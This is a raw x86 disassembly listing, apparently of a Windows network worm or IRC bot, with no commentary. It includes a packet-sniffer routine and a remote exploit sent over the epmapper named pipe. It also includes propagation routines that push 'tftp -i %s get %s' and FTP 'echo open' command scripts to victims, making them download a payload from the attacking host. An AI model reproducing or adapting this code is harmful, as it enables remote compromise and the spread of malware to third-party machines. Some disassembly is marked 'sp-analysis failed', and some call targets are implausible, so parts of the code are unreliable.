		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402841
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_402841:				; CODE XREF: sub_402688+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43AE30
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26302E2h


loc_402865:				; CODE XREF: sub_402688+177j
		push	ebx
		mov	ebx, offset dword_426C78


loc_40286B:				; CODE XREF: sub_402688+21Bj
					; sub_402688+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_43ADB0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40297D
		cmp	[ebp+var_102AB], 6
		jnz	short loc_40286B
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_40286B
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286B
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_40286B
		mov	[ebp+arg_0], ebx


loc_4028D9:				; CODE XREF: sub_402688+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028FB
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028D9
		jmp	loc_40286B
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_402688+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43ACD4
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43AE24
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_426C8C[eax*8]
		push	off_426C68[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_427528
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40296B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_40296B:				; CODE XREF: sub_402688+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_40286B
; ---------------------------------------------------------------------------


loc_40297D:				; CODE XREF: sub_402688+20Ej
		call	dword_43AD2C
		push	eax
		push	offset unk_4274E4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029C3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_4029C3:				; CODE XREF: sub_402688+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AE30
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 26302E2h
		nop
sub_402688	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029E9	proc near		; CODE XREF: sub_402DD7+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_427B64
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_436EDC
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 2650000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_436ED8
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43AE38
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_402AAD
		cmp	eax, ebx
		jnz	short loc_402AB7


loc_402AAD:				; CODE XREF: sub_4029E9+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43AE38


loc_402AB7:				; CODE XREF: sub_4029E9+C2j
		cmp	eax, 5
		jz	short loc_402AC5
		cmp	eax, ebx
		jz	short loc_402AC5
		push	1
		pop	eax
		jmp	short loc_402AC7
; ---------------------------------------------------------------------------


loc_402AC5:				; CODE XREF: sub_4029E9+D1j
					; sub_4029E9+D5j
		xor	eax, eax


loc_402AC7:				; CODE XREF: sub_4029E9+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4029E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402ACC	proc near		; CODE XREF: sub_402DD7+7Ap
					; sub_402DD7+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_427B64
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_436EDC
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 2650000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		add	esp, 10h


loc_402B5D:				; CODE XREF: sub_402ACC+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43ACD8
		test	eax, eax
		jz	short loc_402B7D
		push	7D0h
		nop
		call	near ptr 2630F90h
		jmp	short loc_402B5D
; ---------------------------------------------------------------------------


loc_402B7D:				; CODE XREF: sub_402ACC+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_402ACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B84	proc near		; CODE XREF: sub_402DD7+A9p
					; sub_402DD7+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_417B30
		push	esi
		push	edi
		push	offset byte_42F678
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_416BCD
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_402DD3
		push	ebx
		mov	ebx, offset off_427A80
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_402C09:				; CODE XREF: sub_402B84+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_402C59
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_402C09
; ---------------------------------------------------------------------------


loc_402C59:				; CODE XREF: sub_402B84+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_402C74
		cmp	[ebp+arg_C0], 3
		jz	short loc_402C7D
		cmp	[ebp+arg_C0], 0
		jmp	short loc_402C7B
; ---------------------------------------------------------------------------


loc_402C74:				; CODE XREF: sub_402B84+DCj
		cmp	[ebp+arg_C0], 3


loc_402C7B:				; CODE XREF: sub_402B84+EEj
		jnz	short loc_402C86


loc_402C7D:				; CODE XREF: sub_402B84+E5j
		push	4
		push	offset dword_427B60
		jmp	short loc_402C8D
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_402B84:loc_402C7Bj
		push	4
		push	offset dword_427B5C


loc_402C8D:				; CODE XREF: sub_402B84+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_427694
		push	eax
		call	sub_417390
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4279F8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_417390
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_427A0C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		add	edi, 3Ch
		push	30h
		push	offset dword_427A4C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_417B89
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_417330
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_417390
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_402DD3:				; CODE XREF: sub_402B84+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DD7	proc near		; CODE XREF: sub_407767+1EAp
					; DATA XREF: ___:off_42ACB4o

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_417B30
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_402F45
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4029E9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403055
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 26707CBh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_402E5C


loc_402E4D:				; CODE XREF: sub_402DD7+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		pop	ecx
		jmp	loc_403055
; ---------------------------------------------------------------------------


loc_402E5C:				; CODE XREF: sub_402DD7+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_40D4C5
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402EF4
		mov	edi, 186A0h
		push	edi
		call	sub_417B89
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_427648
		push	[ebp+var_4]
		call	near ptr 2670000h
		nop
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_402EE4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	short loc_402F02


loc_402EE4:				; CODE XREF: sub_402DD7+F3j
		push	esi
		call	sub_417C3B
		push	[ebp+var_8]
		call	sub_417C3B
		pop	ecx
		pop	ecx


loc_402EF4:				; CODE XREF: sub_402DD7+B9j
		push	[ebp+var_4]
		nop
		call	near ptr 2651922h
		jmp	loc_402E4D
; ---------------------------------------------------------------------------


loc_402F02:				; CODE XREF: sub_402DD7+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		nop
		call	near ptr 26510A0h
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		nop
		call	near ptr 2651922h
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		cmp	edi, 1
		pop	ecx
		jnz	loc_403066
		jmp	loc_403055
; ---------------------------------------------------------------------------


loc_402F45:				; CODE XREF: sub_402DD7+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40D4C5
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403055
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43AE18
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403055
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43AD98
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_402FD7
		push	[ebp+var_4]
		jmp	short loc_40304F
; ---------------------------------------------------------------------------


loc_402FD7:				; CODE XREF: sub_402DD7+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FEF


loc_402FEC:				; CODE XREF: sub_402DD7+22Aj
		push	esi
		jmp	short loc_403048
; ---------------------------------------------------------------------------


loc_402FEF:				; CODE XREF: sub_402DD7+213j
		push	ebx
		push	48h
		push	offset dword_427648
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FEC
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403030
		push	[ebp+var_8]
		jmp	short loc_403048
; ---------------------------------------------------------------------------


loc_403030:				; CODE XREF: sub_402DD7+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403059


loc_403048:				; CODE XREF: sub_402DD7+216j
					; sub_402DD7+257j
		call	sub_417C3B
		pop	ecx
		push	edi


loc_40304F:				; CODE XREF: sub_402DD7+1FEj
		call	dword_43AE30


loc_403055:				; CODE XREF: sub_402DD7+31j
					; sub_402DD7+80j ...
		xor	eax, eax
		jmp	short loc_4030C7
; ---------------------------------------------------------------------------


loc_403059:				; CODE XREF: sub_402DD7+26Fj
		call	sub_417C3B
		pop	ecx
		push	edi
		call	dword_43AE30


loc_403066:				; CODE XREF: sub_402DD7+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset unk_427B78
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_40307E:				; CODE XREF: sub_402DD7+2C7j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40C04D
		test	eax, eax
		pop	ecx
		jnz	short loc_4030A2
		push	1388h
		call	near ptr 2630F90h
		nop
		inc	ebx
		cmp	ebx, 6
		jl	short loc_40307E
		jmp	short loc_4030C4
; ---------------------------------------------------------------------------


loc_4030A2:				; CODE XREF: sub_402DD7+2B6j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_4030C4:				; CODE XREF: sub_402DD7+2C9j
		push	1
		pop	eax


loc_4030C7:				; CODE XREF: sub_402DD7+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030CC	proc near		; DATA XREF: ___:00426004o
		jmp	$+5
sub_4030CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4030D1	proc near
		push	0BB80h
		push	76Ch
		call	sub_415450
		pop	ecx
		mov	dword_436EE0, eax
		pop	ecx
		retn
sub_4030D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E8	proc near		; CODE XREF: sub_403249+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_436EE0
		push	eax
		call	dword_43AD98
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43AE18
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403222
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_403222
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43ADB0
		mov	esi, offset byte_42F678
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_436F0C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403222
		push	1F4h
		nop
		call	near ptr 2630F90h
		push	esi
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403226


loc_403222:				; CODE XREF: sub_4030E8+51j
					; sub_4030E8+67j ...
		xor	al, al
		jmp	short loc_403244
; ---------------------------------------------------------------------------


loc_403226:				; CODE XREF: sub_4030E8+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43ADB0
		push	ebx
		call	dword_43AE30
		mov	al, 1


loc_403244:				; CODE XREF: sub_4030E8+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403249	proc near		; CODE XREF: ___:004037ADp
					; ___:004037CFp

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_417B30
		mov	eax, dword_428634
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_428638
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_428628
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_403288:				; CODE XREF: sub_403249+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_403288
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4280B8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_417390
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_417390
		mov	ax, word ptr dword_436EE0
		add	esp, 2Ch
		push	eax
		call	dword_43AD98
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_427DB8
		call	sub_417390
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403445
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4284E0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_417390
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_428620
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_417390
		add	esp, 40h
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_4033FE:				; CODE XREF: sub_403249+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_4033FE
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_417330
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_417330
		add	esp, 18h
		jmp	short loc_40349C
; ---------------------------------------------------------------------------


loc_403445:				; CODE XREF: sub_403249+118j
		push	7D0h
